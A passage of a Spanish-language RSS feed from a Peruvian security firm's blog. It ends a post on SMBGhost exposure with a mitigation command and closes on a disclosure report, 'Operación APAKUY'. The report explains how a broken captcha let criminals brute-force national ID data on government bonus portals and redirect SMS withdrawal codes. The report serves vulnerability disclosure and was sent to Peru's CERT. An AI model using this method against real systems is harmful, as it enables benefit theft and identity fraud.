    &lt;span&gt;&#xD;
      
                      
           es una herramienta OpenSource disponible en código fuente 100% Go :
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           GitHub: 
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;a href="https://github.com/deepsecurity-pe/GoGhost" target="_blank"&gt;&#xD;
      
                      
           https://github.com/deepsecurity-pe/GoGhost
          
                    &#xD;
    &lt;/a&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Como conclusión, existen miles de servidores potencialmente vulnerables a SMBGhost en latinoamérica y que corren el riesgo de convertirse en víctimas de ciberdelincuentes que se encuentran en búsqueda de nuevos servidores para vulnerar.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Para evitar que tu servidor sea vulnerable, puedes deshabilitar la compresión en Windows SMB con la siguiente línea en powershell:
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Set-ItemProperty -Path «HKLM:\SYSTEM\CurrentControlSet\Services\ LanmanServer\Parameters» DisableCompression -Type DWORD -Value 1 -Force
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Microsoft, además, ya ha publicado parches de seguridad que aseguran la compresión SMB para evitar la vulnerabilidad y pueden descargarse desde la web oficial de Microsoft.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Versiones de windows afectadas:
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;ul&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            Windows 10 Version 1903 for 32-bit Systems
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            Windows 10 Version 1903 for ARM64-based Systems
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            Windows 10 Version 1903 for x64-based Systems
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            Windows 10 Version 1909 for 32-bit Systems
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            Windows 10 Version 1909 for ARM64-based Systems
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            Windows 10 Version 1909 for x64-based Systems
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            Windows Server, version 1903 (Server Core installation)
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ul&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Windows Server, version 1909 (Server Core installation)
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;</content:encoded>
      <enclosure url="https://irp.cdn-website.com/210ad002/dms3rep/multi/banner-digital_linkedin+-+copia.jpg" length="67469" type="image/jpeg" />
      <pubDate>Wed, 24 Jun 2020 05:52:39 GMT</pubDate>
      <guid>https://www.deepsecurity.pe/analisis-de-smbghost-en-latinoamerica</guid>
      <g-custom:tags type="string">Seguridad,SPAN</g-custom:tags>
      <media:content medium="image" url="https://irp.cdn-website.com/210ad002/dms3rep/multi/banner-digital_linkedin.jpg">
        <media:description>thumbnail</media:description>
      </media:content>
      <media:content medium="image" url="https://irp.cdn-website.com/210ad002/dms3rep/multi/banner-digital_linkedin+-+copia.jpg">
        <media:description>main image</media:description>
      </media:content>
    </item>
    <item>
      <title>Reporte de Ciberinteligencia - Operación: APAKUY</title>
      <link>https://www.deepsecurity.pe/reporte-de-ciberinteligencia-operacion-apakuy</link>
      <description>Durante nuestras investigaciones de ciberinteligencia encontramos un grupo en Telegram donde se mencionan distintos temas desde hacking de aplicaciones web hasta robo de tarjetas (carding). Encontramos que algunos de los 550 ciberdelincuentes miembros de este grupo publicaban información sobre un fallo en la web del bono universal que permitía apropiarse del bono de los beneficiarios.</description>
      <content:encoded>&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/bannerblogDS-bono-01.png" alt="Un virus azul sobre fondo negro con las palabras reporte de ciberinteligencia"/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Esta publicación se basa en nuestro
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;a href="https://github.com/deepsecurity-pe/OperacionApakuy/blob/master/DeepSecurity_Reporte_OperacionApakuy_2020.pdf" target="_blank"&gt;&#xD;
      
                      
                      
           reporte en PDF
          
                    
                    &#xD;
    &lt;/a&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
            
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           y nuestras
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
            
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;a href="https://github.com/deepsecurity-pe/OperacionApakuy" target="_blank"&gt;&#xD;
      
                      
                      
           evidencias
          
                    
                    &#xD;
    &lt;/a&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           .
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;h2&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Introducción:
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/h2&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           DeepSecurity es una empresa de ciberseguridad con reconocimiento nacional e internacional la cual realiza constantes investigaciones en distintos temas respecto a ciberseguridad y ciberinteligencia.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Es importante indicar DeepSecurity no ha recibido ningún beneficio económico fruto de esta investigación y su único fin es reportar y demostrar fallos de ciberseguridad que venían siendo usados por ciberdelincuentes para beneficiarse con los bonos ofrecidos por el gobierno peruano. DeepSecurity es una empresa 100% peruana y de una trayectoria intachable. El presente informe se basa en las buenas prácticas de seguridad para aplicaciones web “OWASP Top 10” como estándar para tipificar las vulnerabilidades presentadas.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;h2&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Antecedentes:
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/h2&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Durante nuestras investigaciones de ciberinteligencia, encontramos un grupo en Telegram donde se mencionan distintos temas desde hacking de aplicaciones web hasta robo de tarjetas (carding). Al realizar el análisis de los indicios encontramos algunos de los 550 ciberdelincuentes miembros de este grupo publicaban información sobre un fallo en la web del bono universal que permitía apropiarse del bono de los beneficiarios. Como investigadores de ciberseguridad certificados y 100% profesionales, seguimos la ruta de las evidencias dejadas por los ciberdelincuentes para validar si la vulnerabilidad era real.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;h2&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Método para obtener el bono de forma legal:
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/h2&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Paso 1
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           : Ingresar DNI y fecha de emisión del DNI.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/imagen1.png" alt="A screenshot of a website that says consulta si eres beneficiario del bono familiar universal"/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Paso 2:
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            Responder las consultas de autenticación basados en datos de RENIEC, como nombre del padre de la madre y lugar de nacimiento.
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/imagen2.png" alt="A screenshot of a website that says &amp;quot; responde las siguientes preguntas para validar tu identidad &amp;quot;"/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Paso 3
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           : Ingresar un número de teléfono donde se enviará la clave SMS para el cobro del bono.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/imagen3.png" alt="A screen that says solo se permiten números telefonicos del peru"/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Paso 4
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           : El código SMS enviado es usado en el cajero automático (ATM) para realizar el retiro del dinero.
           
                      
                      &#xD;
      &lt;br/&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/imagen4.png" alt="A phone that says y generar tu codigo de cinco digitos"/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;h2&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Método para obtener el bono de forma ilegal:
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/h2&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
      
                      
                      
           El mayor problema de seguridad que tuvo el sistema del bono está relacionado con la opción de “captcha” la cual no funcionaba.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           ¿Qué es captcha?
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
      
                      
                      
           Es ese recuadro con imágenes que dice «No soy un robot».
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           ¿Para qué sirve?
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
      
                      
                      
           Cada vez que se envía una consulta de DNI, la opción “captcha” solicita que resuelvas un desafío basado en imágenes que pertenecen a la misma categoría, una vez que lo resuelves, el formulario puede ser enviado. Sin embargo, el “captcha” encontrado en el sitio web de Bono Universal (bonouniversalfamiliar.pe) y Bono Independiente (bonoindependiente.pe) no estuvo bien implementando motivo por el cual se podían enviar el formulario de forma masiva (ilimitada) usando herramientas automatizadas.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           ¿Qué quiere decir esto?
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
      
                      
                      
           Que un robot (programa que envía peticiones masivas) podría intentar autenticar en el portal n números de DNI sin tener que resolver la adivinanza de imágenes, obteniendo todos los números DNI con bono universal del Perú 
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;a href="https://github.com/deepsecurity-pe/OperacionApakuy/blob/master/Demostracion_de_la_Vulnerabilidad.mp4" target="_blank"&gt;&#xD;
      
                      
                      
           (
          
                    
                    &#xD;
    &lt;/a&gt;&#xD;
    &lt;a href="https://github.com/deepsecurity-pe/OperacionApakuy/blob/master/Demostracion_de_la_Vulnerabilidad.mp4" target="_blank"&gt;&#xD;
      
                      
                      
           Video completo de la explotación usando Burp Suite
          
                    
                    &#xD;
    &lt;/a&gt;&#xD;
    &lt;a href="https://github.com/deepsecurity-pe/OperacionApakuy/blob/master/Demostracion_de_la_Vulnerabilidad.mp4" target="_blank"&gt;&#xD;
      
                      
                      
           )
          
                    
                    &#xD;
    &lt;/a&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           .
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Este tipo de vulnerabilidades se encuentra bien identificada como “Configuración de Seguridad Incorrecta OWASP A6:2017” según lo indicado en las guías de buenas prácticas de seguridad conocidas como “OWASP TOP 10” que es un estándar reconocido internacionalmente.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Paso 1:
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
      
                      
                      
           El equipo de DeepSecurity generó una lista de 2500 números de DNI
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
            
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;a href="https://github.com/deepsecurity-pe/OperacionApakuy/blob/master/generarDNI.py" target="_blank"&gt;&#xD;
      
                      
                      
           usando un programa (script) desarrollado en python
          
                    
                    &#xD;
    &lt;/a&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           *. Envió la lista de 2500 peticiones y en segundos se pudo confirmar la vulnerabilidad. Cuando el servidor del bono recibía un DNI que era beneficiario del bono, se recibía como respuesta el número 100 mientras que cuando se consultaba un DNI no beneficiado devolvía el número 101.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Hasta ese punto el equipo de DeepSecurity podía encontrar los DNI que si eran beneficiarios
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
            
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;a href="https://github.com/deepsecurity-pe/OperacionApakuy/blob/master/Demostracion_de_la_Vulnerabilidad_Captcha_Detalle.mp4" target="_blank"&gt;&#xD;
      
                      
                      
           (
          
                    
                    &#xD;
    &lt;/a&gt;&#xD;
    &lt;a href="https://github.com/deepsecurity-pe/OperacionApakuy/blob/master/Demostracion_de_la_Vulnerabilidad_Captcha_Detalle.mp4" target="_blank"&gt;&#xD;
      
                      
                      
           Descargar video del ataque automatizado
          
                    
                    &#xD;
    &lt;/a&gt;&#xD;
    &lt;a href="https://github.com/deepsecurity-pe/OperacionApakuy/blob/master/Demostracion_de_la_Vulnerabilidad_Captcha_Detalle.mp4" target="_blank"&gt;&#xD;
      
                      
                      
           )
          
                    
                    &#xD;
    &lt;/a&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           . Posteriormente hicimos el mismo ataque enfocados en la fecha de emisión del DNI, como el servidor no contaba con la protección anti peticiones robotizadas, realizamos peticiones masivas sobre la fecha de emisión hasta confirmar pudieron ser halladas. 2500 DNIs y 1500 fechas pueden ser probadas en menos de 5 minutos.
           
                      
                      &#xD;
      &lt;br/&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/Imagen5.png" alt="La pantalla de una computadora muestra una lista de números que comienzan con 607"/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Paso 2:
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
      
                      
                      
           Hasta este punto se había autenticado al beneficiario (ciberdelincuente) en el sistema del bono universal, posteriormente el sistema te pide que ingreses datos como:
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;ul&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            Nombre del Padre
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            Nombre del Madre
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            Fecha de Nacimiento
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ul&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Que en realidad no profundizaremos mucho más en mencionar como conseguir esta información dado que el cibercriminal podría inclusive comprar de forma ilegal una ficha de la víctima por menos de S/.20.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Paso 3:
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
      
                      
                      
           El tercer problema de seguridad que tenía el portal, era que el teléfono móvil que se debía registrar, podía ser de cualquier persona y no necesariamente debía estar a nombre del beneficiario, por lo que el ciberdelincuente podía poner su teléfono y recibir la clave SMS para cobrar el bono. Importante mencionar en esta parte que OSIPTEL pide al menos un DNI para registrar un teléfono por lo que podría ser un interesante método de verificación.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Chips usados por los ciberdelincuentes para suplantar a las víctimas.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;h2&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Acciones Tomadas:
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/h2&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Luego del reporte realizado por DeepSecurity al Equipo de Respuesta ante Incidentes de Seguridad Digital Nacional (PECERT), se pudo confirmar el día miércoles 27 de mayo, que la vulnerabilidad relacionada al control de captcha ya había sido solucionada.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/Imagen11.png" alt="Una captura de pantalla de una página web que dice &amp;amp;#39;secuencia&amp;amp;#39; en la parte superior"/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Se confirmó al reutilizar el captcha se recibía error 400 Bad Request.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           También se pued
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           e observar que se agregó la opción reclamos en la parte superior de la página bono universal.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/Imagen12-300x203.png" alt="Un sitio web que dice no familiar universal"/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;a href="https://web.archive.org/web/*/bonouniversalfamiliar.pe" target="_blank"&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/a&gt;&#xD;
    &lt;a href="https://web.archive.org/web/*/bonouniversalfamiliar.pe" target="_blank"&gt;&#xD;
      
                      
                      
           Cache de la web obtenido de archive.org
          
                    
                    &#xD;
    &lt;/a&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/Imagen13.png" alt="Una captura de pantalla de un sitio web que dice consulta aqui tu sub monetario"/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Web actual – Registra tu caso.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
